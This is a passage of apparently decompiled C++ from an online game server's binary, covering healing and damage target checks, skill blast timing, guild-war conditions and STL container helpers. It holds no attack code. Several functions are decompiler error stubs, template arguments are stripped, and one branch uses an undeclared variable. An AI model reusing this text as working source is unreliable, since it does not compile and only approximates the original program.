!= 19 && v12 != 20) ) { v14 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 1; } else { v14 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 0; } } else { --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_mobile_ICanDamageTo"); result = 0; } return result; } //----- (00425490) -------------------------------------------------------- #error "425490: undefined or illegal type '#740' (funcsize=43)" //----- (00425540) -------------------------------------------------------- #error "425540: undefined or illegal type '#325' (funcsize=111)" //----- (004256B0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMobileObject::smo_ICanHealTo(void *this, int a2) { void *v2; // esi@1 bool v3; // bl@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_ICanHealTo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_ICanHealTo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (*(int (__thiscall **)(void *, int, _DWORD))(*(_DWORD *)v2 + 2340))(v2, a2, "smo_ICanHealTo") == 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_ICanHealTo"); return v3; } //----- (00425770) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::smo_ICanHealTo(void *this, int a2) { void *v2; // edi@1 signed int v3; // ebp@1 int v4; // edx@1 int v5; // eax@1 char result; // al@7 int v7; // eax@8 unsigned int v8; // ST04_4@10 unsigned int v9; // eax@10 int v10; // eax@11 int v11; // ebx@13 int v12; // eax@15 __int16 v13; // di@19 unsigned int v14; // eax@24 CGuildZone::GUILD_ZONE_LIST *v15; // eax@24 CGuildZone::GUILD_ZONE_LIST *v16; // ebx@24 int v17; // ebp@26 int v18; // esi@30 FunctionEntarance *v19; // ecx@33 int v20; // esi@36 int v21; // eax@36 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v23; // [sp+14h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::smo_ICanHealTo"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ICanHealTo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_ICanHealTo"; v3 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)a2; v23 = 0; v5 = (*(int (__thiscall **)(int))(v4 + 1720))(a2); if ( v5 && *(_DWORD *)(*(_DWORD *)v5 + 99) == 16 ) goto LABEL_7; if ( !ShineObjectClass::ShineMobileObject::smo_ICanHealTo(v2, a2) || (*(int (__thiscall **)(int, signed int))(*(_DWORD *)a2 + 988))(a2, 336) ) goto LABEL_38; if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1212))(a2) != 2 ) { if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1212))(a2) == 5 ) { v20 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 2160))(a2); v21 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2160))(v2); v19 = &_; v23 = -1; if ( v20 == v21 ) goto LABEL_34; FunctionEntarance::_FunctionEntarance(&_); return 0; } LABEL_38: --funcallanalizer.fca_stackpoint; v23 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ICanHealTo"); return 0; } if ( *((_WORD *)v2 + 2) == *(_WORD *)(a2 + 4) ) { LABEL_7: --funcallanalizer.fca_stackpoint; v23 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ICanHealTo"); return 1; } v7 = *(_DWORD *)((char *)v2 + 98); if ( *(_BYTE *)(v7 + 84) ) goto LABEL_32; if ( !*(_BYTE *)(*(_DWORD *)(v7 + 12) + 99) ) goto LABEL_33; v8 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1996))(a2); v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1996))(v2); if ( CGuildZone::IsGuildEnemy(&gGuild, v9, v8) ) { LABEL_32: v23 = v3; FunctionEntarance::_FunctionEntarance(&_); return 0; } v10 = *(_DWORD *)(*(_DWORD *)((char *)v2 + 98) + 16); if ( !v10 || *(_BYTE *)(v10 + 54) != 4 ) { if ( (*(int (__thiscall **)(_DWORD))(*(_DWORD *)a2 + 1996))(a2) ) { v14 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1996))(a2); v15 = CGuildZone::Find(&gGuild, v14); v16 = v15; if ( v15 ) { if ( v15->GuildZone.nWarStatus == 2 ) { v17 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)a2 + 1996))(a2); if ( v17 != (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1996))(v2) ) { skilltargeterr = 4048; v23 = -1; FunctionEntarance::_FunctionEntarance(&_); return 0; } v3 = -1; } if ( v16->gzl_AttackMeGuild ) { v18 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)a2 + 1996))(a2); if ( v18 != (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1996))(v2) ) { skilltargeterr = 4048; goto LABEL_32; } } } } LABEL_33: v23 = v3; v19 = &_; LABEL_34: FunctionEntarance::_FunctionEntarance(v19); return 1; } v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1980))(v2); if ( !v11 ) v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2048))(v2); v12 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1980))(a2); if ( !v12 ) v12 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 2048))(a2); if ( v11 && v11 == v12 ) goto LABEL_33; v13 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1336))(v2); if ( v13 == -1 || v13 != (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1336))(a2) ) { v23 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 0; } else { v23 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 1; } return result; } //----- (00425A90) -------------------------------------------------------- #error "425A90: undefined or illegal type '#740' (funcsize=41)" //----- (00425B40) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMob::smo_ICanHealTo(void *this, int a2) { void *v2; // esi@1 bool result; // al@2 int v4; // edi@3 bool v5; // bl@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::smo_ICanHealTo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::smo_ICanHealTo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( ShineObjectClass::ShineMobileObject::smo_ICanHealTo(v2, a2) ) { v4 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)a2 + 2160))(a2); v5 = v4 == (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2160))(v2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::smo_ICanHealTo"); result = v5; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::smo_ICanHealTo"); result = 0; } return result; } //----- (00425C30) -------------------------------------------------------- void __thiscall SkillEffectApply::SkillBlastEffectContainer::sbec_ListCheck(SkillEffectApply::SkillBlastEffectContainer *this) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SkillEffectApply::SkillBlastEffectContainer::sbec_ListCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SkillEffectApply::SkillBlastEffectContainer::sbec_ListCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SkillEffectApply::SkillBlastEffectContainer::sbec_ListCheck"); } //----- (00425C70) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineMobileObject::smo_SkillBlastTick(int sklidx) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillBlastTick"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_SkillBlastTick"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillBlastTick"); return 0; } //----- (00425CC0) -------------------------------------------------------- int __cdecl ShineObjectClass::ShinePlayer::smo_SkillBlastTick(int sklidx) { signed int v1; // edx@2 int v2; // esi@2 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_SkillBlastTick"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_SkillBlastTick"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( sklidx ) { v1 = (signed int)((unsigned __int64)(2748779070i64 * *(_WORD *)(*(_DWORD *)sklidx + 75)) >> 32) >> 6; v2 = v1 + ((unsigned int)v1 >> 31); } else { v2 = 100000; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_SkillBlastTick"); return v2; } //----- (00425D50) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::smo_SkillBlastTick(void *this, int sklidx) { void *v2; // edi@1 signed int v3; // edx@2 int v4; // esi@2 int v5; // ecx@4 int v6; // eax@5 int v7; // eax@7 signed int v8; // edx@8 char *v10; // [sp-10h] [bp-20h]@7 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::smo_SkillBlastTick"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::smo_SkillBlastTick"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( sklidx ) { v3 = (signed int)((unsigned __int64)(2748779070i64 * *(_WORD *)(*(_DWORD *)sklidx + 75)) >> 32) >> 6; v4 = v3 + ((unsigned int)v3 >> 31); } else { v4 = 99999; } v5 = *((_DWORD *)v2 + 1884); if ( v5 && (v6 = *((_DWORD *)v2 + 1890), v6 >= 0) && v6 < *(_DWORD *)(v5 + 12) ) { v7 = *(_DWORD *)(*(_DWORD *)(v5 + 8) + 12 * v6); v10 = "ShineObjectClass::ShineMob::smo_SkillBlastTick"; if ( v7 ) { v8 = (signed int)((unsigned __int64)(2748779070i64 * *(_WORD *)(v7 + 79)) >> 32) >> 6; v4 = v8 + ((unsigned int)v8 >> 31); } } else { v10 = "ShineObjectClass::ShineMob::smo_SkillBlastTick"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v10); return v4; } //----- (00425E50) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, BattleObjectGroup::BattleObject *ele) { int v2; // eax@1 void *v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2)) != 0 ) { memcpy(v3, ele, 0xE0u); result = 1; } else { result = 0; } return result; } //----- (00425E80) -------------------------------------------------------- SkillEffectApply::SkillBlastEffect *__cdecl std::copy_backward(SkillEffectApply::SkillBlastEffect *_First, SkillEffectApply::SkillBlastEffect *_Last, SkillEffectApply::SkillBlastEffect *_Dest) { SkillEffectApply::SkillBlastEffect *v3; // edx@1 SkillEffectApply::SkillBlastEffect *result; // eax@1 v3 = _Last; result = _Dest; while ( v3 != _First ) { --v3; --result; memcpy(result, v3, 0x64u); } return result; } //----- (00425EB0) -------------------------------------------------------- std::vector >::iterator *__cdecl std::find>::iterator_SkillEffectApply::SkillBlastEffect>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, SkillEffectApply::SkillBlastEffect *_Val) { std::vector >::iterator v4; // esi@1 std::vector >::iterator *v5; // eax@4 v4 = _First; if ( _First == _Last ) { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _First; } else { do { if ( SkillEffectApply::SkillBlastEffect::operator__(*(SkillEffectApply::SkillBlastEffect **)&v4, _Val) ) break; *(_DWORD *)&v4 += 100; } while ( v4 != _Last ); v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v4; } return v5; } //----- (00425EF0) -------------------------------------------------------- std::vector >::iterator *__cdecl std::remove_copy>::iterator_std::vector>::iterator_SkillEffectApply::SkillBlastEffect>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, std::vector >::iterator _Dest, SkillEffectApply::SkillBlastEffect *_Val) { std::vector >::iterator v5; // ebx@1 std::vector >::iterator v6; // ebp@2 void *v7; // edi@4 std::vector >::iterator *v8; // eax@6 v5 = _First; if ( _First == _Last ) { v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Dest; } else { v6 = _Dest; do { if ( !SkillEffectApply::SkillBlastEffect::operator__(*(SkillEffectApply::SkillBlastEffect **)&v5, _Val) ) { v7 = (void *)v6; *(_DWORD *)&v6 += 100; memcpy(v7, *(const void **)&v5, 0x64u); } *(_DWORD *)&v5 += 100; } while ( v5 != _Last ); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; } return v8; } //----- (00425F50) -------------------------------------------------------- PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *__cdecl std::_Uninit_copy>::iterator_PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage___std::allocator>(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_First, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Last, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v5; // ecx@1 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) { *(_DWORD *)&result->handle = *(_DWORD *)&v5->handle; result->hpchange = v5->hpchange; result->resthp = v5->resthp; result->hpchangeorder = v5->hpchangeorder; } ++v5; } return result; } //----- (00425FA0) -------------------------------------------------------- void __thiscall BattleObjectGroup::BattleObjectList::bol_Store(BattleObjectGroup::BattleObjectList *this, BattleObjectGroup::BattleObjectStruct *battleobject, unsigned int hittime) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "BattleObjectGroup::BattleObjectList::bol_Store"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "BattleObjectGroup::BattleObjectList::bol_Store"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BattleObjectGroup::BattleObjectList::bol_Store"); } //----- (00426020) -------------------------------------------------------- #error "426020: undefined or illegal type '#325' (funcsize=334)" //----- (00426460) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ChineCastCut(void *this) { void *v1; // edi@1 char v2; // al@1 unsigned __int16 v3; // bp@2 unsigned __int16 v4; // dx@3 int v5; // eax@4 int v6; // esi@4 unsigned __int16 v7; // bx@4 bool v8; // cf@4 int v9; // ecx@6 int v10; // ecx@8 int v11; // eax@9 int v12; // eax@10 int v13; // eax@14 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChineCastCut"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ChineCastCut"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_BYTE *)v1 + 7368); if ( v2 & 0x40 ) { *((_BYTE *)v1 + 7368) = v2 & 0xBF; v3 = *(_WORD *)(*((_DWORD *)v1 + 923) + 12 * *((_WORD *)v1 + 1849) + 4); while ( 1 ) { v4 = *((_WORD *)v1 + 1844); if ( v3 >= v4 ) break; v5 = *((_DWORD *)v1 + 923); v6 = v3; v7 = v3; v8 = v3 < v4; v3 = *(_WORD *)(v5 + 12 * v3 + 4); if ( v8 && *(_BYTE *)(v5 + 12 * v6 + 8) ) v9 = *(_DWORD *)(v5 + 12 * v6); else v9 = 0; v10 = *((_DWORD *)&abstateidentarray + 3 * *(_DWORD *)(v9 + 4)); if ( v7 < v4 && (v11 = v5 + 12 * v6, *(_BYTE *)(v11 + 8)) ) v12 = *(_DWORD *)v11; else v12 = 0; if ( (unsigned __int8)(*(int (__stdcall **)(int))(*(_DWORD *)v10 + 32))(v12) ) { if ( v7 < *((_WORD *)v1 + 1844) && (v13 = *((_DWORD *)v1 + 923) + 12 * v6, *(_BYTE *)(v13 + 8)) ) *(_DWORD *)(*(_DWORD *)v13 + 24) = clockwatch.cw_CurrTick; else v18 = clockwatch.cw_CurrTick; } } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChineCastCut"); } //----- (004265D0) -------------------------------------------------------- PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *__cdecl std::_Copy_opt(std::vector >::iterator _First, std::vector >::iterator _Last, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { std::vector >::iterator v4; // ecx@1 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *result; // eax@1 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v6; // edi@2 unsigned __int16 v7; // si@2 v4 = _First; for ( result = _Dest; v4 != _Last; v6->hpchangeorder = v7 ) { v6 = result; *(_DWORD *)&result->handle = **(_DWORD **)&v4; result->hpchange = *(_DWORD *)(*(_DWORD *)&v4 + 4); result->resthp = *(_DWORD *)(*(_DWORD *)&v4 + 8); v7 = *(_WORD *)(*(_DWORD *)&v4 + 12); *(_DWORD *)&v4 += 14; ++result; } return result; } //----- (00426610) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_First, unsigned int _Count, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // ecx@2 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) { *(_DWORD *)&v6->handle = *(_DWORD *)&_Val->handle; v6->hpchange = _Val->hpchange; v6->resthp = _Val->resthp; v6->hpchangeorder = _Val->hpchangeorder; } ++v6; --v5; } while ( v5 ); } } //----- (00426650) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { ListEraser eraser; // [sp+0h] [bp-14h]@1 int v2; // [sp+10h] [bp-4h]@1 eraser.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; eraser.le_list = this; v2 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (004266A0) -------------------------------------------------------- SkillEffectApply::SkillBlastEffect *__cdecl std::_Uninit_copy>::iterator_SkillEffectApply::SkillBlastEffect___std::allocator>(SkillEffectApply::SkillBlastEffect *_First, SkillEffectApply::SkillBlastEffect *_Last, SkillEffectApply::SkillBlastEffect *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { SkillEffectApply::SkillBlastEffect *v5; // edx@1 SkillEffectApply::SkillBlastEffect *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) memcpy(result, v5, 0x64u); ++v5; } return result; } //----- (004266D0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (004267F0) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(SkillEffectApply::SkillBlastEffect *_First, unsigned int _Count, SkillEffectApply::SkillBlastEffect *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // edx@2 void *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) memcpy(v6, _Val, 0x64u); v6 = (char *)v6 + 100; --v5; } while ( v5 ); } } //----- (00426820) -------------------------------------------------------- DamageBySoul::SoulDamateElement *__thiscall DamageBySoul::SoulDamageContainer::operator__(DamageBySoul::SoulDamageContainer *this, unsigned __int16 index) { DamageBySoul::SoulDamateElement *v2; // esi@1 signed int v3; // edx@2 DamageBySoul::SoulDamateElement *result; // eax@5 v2 = this->sdc_Vector._Myfirst; if ( v2 ) v3 = this->sdc_Vector._Mylast - v2; else v3 = 0; if ( index < (unsigned int)v3 ) result = &v2[index]; else result = &this->sdc_Default; return result; } //----- (00426850) -------------------------------------------------------- #error "426850: undefined or illegal type '#740' (funcsize=165)" //----- (00426A70) -------------------------------------------------------- PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *__thiscall std::vector>::_Ufill(std::vector > *this, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Ptr, unsigned int _Count, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (00426AA0) -------------------------------------------------------- void __thiscall BattleObjectGroup::BattleObjectList::BattleObjectList(BattleObjectGroup::BattleObjectList *this) { BattleObjectGroup::BattleObjectList *v1; // esi@1 signed int v2; // edx@1 int v3; // eax@1 int v4; // edi@1 signed int v5; // ebx@1 ListStruct *v6; // ecx@3 BattleObjectGroup::BattleObject *v7; // ebp@3 int v8; // ecx@3 ListStruct *v9; // ecx@6 BattleObjectGroup::BattleObject *v10; // ebp@6 int v11; // ecx@6 ListStruct *v12; // ecx@9 BattleObjectGroup::BattleObject *v13; // ebp@9 int v14; // ecx@9 ListStruct *v15; // ecx@12 BattleObjectGroup::BattleObject *v16; // ebp@12 int v17; // ecx@12 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0x400u); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; _eh_vector_constructor_iterator_( v1->bol_Array, 0xE0u, 1024, (void (__thiscall *)(void *))BattleObjectGroup::BattleObject::BattleObject, (void (__thiscall *)(void *))BattleObjectGroup::BattleObject::_BattleObject); v2 = 2; v3 = 0; v4 = (int)&v1->bol_Array[1]; v5 = 256; do { if ( v2 - 2 < v1->baseclass_0.l_MaxSize ) { v6 = v1->baseclass_0.l_Array; v7 = v6[v3].ls_Content; v8 = (int)&v6[v3]; if ( !v7 ) *(_DWORD *)v8 = v4 - 224; } if ( v2 - 1 < v1->baseclass_0.l_MaxSize ) { v9 = v1->baseclass_0.l_Array; v10 = v9[v3 + 1].ls_Content; v11 = (int)&v9[v3 + 1]; if ( !v10 ) *(_DWORD *)v11 = v4; } if ( v2 < v1->baseclass_0.l_MaxSize ) { v12 = v1->baseclass_0.l_Array; v13 = v12[v3 + 2].ls_Content; v14 = (int)&v12[v3 + 2]; if ( !v13 ) *(_DWORD *)v14 = v4 + 224; } if ( v2 + 1 < v1->baseclass_0.l_MaxSize ) { v15 = v1->baseclass_0.l_Array; v16 = v15[v3 + 3].ls_Content; v17 = (int)&v15[v3 + 3]; if ( !v16 ) *(_DWORD *)v17 = v4 + 448; } v3 += 4; v2 += 4; v4 += 896; --v5; } while ( v5 ); } // 5A8240: using guessed type int (__stdcall *List_BattleObjectGroup__BattleObject____vftable_[3])(__int16 hnd); //----- (00426BC0) -------------------------------------------------------- SkillEffectApply::SkillBlastEffect *__thiscall std::vector>::_Ufill(std::vector > *this, SkillEffectApply::SkillBlastEffect *_Ptr, unsigned int _Count, SkillEffectApply::SkillBlastEffect *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (00426BF0) -------------------------------------------------------- void __thiscall std::vector>::_vector>(std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator,std::allocator,std::allocator_Myfirst ) operator delete(this->_Myfirst); v1->_Myfirst = 0; v1->_Mylast = 0; v1->_Myend = 0; } //----- (00426C20) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where) { SkillEffectApply::SkillBlastEffect *v3; // ebx@1 int v4; // eax@1 std::vector >::iterator v5; // edx@2 const void *v6; // esi@3 void *v7; // edi@3 std::vector >::iterator *v8; // eax@4 v3 = this->_Mylast; v4 = *(_DWORD *)&_Where + 100; if ( (SkillEffectApply::SkillBlastEffect *)(*(_DWORD *)&_Where + 100) != v3 ) { v5 = _Where; do { v6 = (const void *)v4; v7 = (void *)v5; v4 += 100; *(_DWORD *)&v5 += 100; memcpy(v7, v6, 0x64u); } while ( (SkillEffectApply::SkillBlastEffect *)v4 != v3 ); } --this->_Mylast; v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v8; } //----- (00426C70) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last) { std::vector >::iterator v4; // eax@1 SkillEffectApply::SkillBlastEffect *v5; // ebx@2 std::vector >::iterator v6; // edx@2 const void *v7; // esi@3 void *v8; // edi@3 std::vector >::iterator *v9; // eax@5 v4 = _Last; if ( _First != _Last ) { v5 = this->_Mylast; v6 = _First; if ( (SkillEffectApply::SkillBlastEffect *)_Last != v5 ) { do { v7 = (const void *)v4; v8 = (void *)v6; *(_DWORD *)&v4 += 100; *(_DWORD *)&v6 += 100; memcpy(v8, v7, 0x64u); } while ( (SkillEffectApply::SkillBlastEffect *)v4 != v5 ); } this->_Mylast = (SkillEffectApply::SkillBlastEffect *)v6; } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _First; return v9; } //----- (00426CC0) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00426D30) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val) { 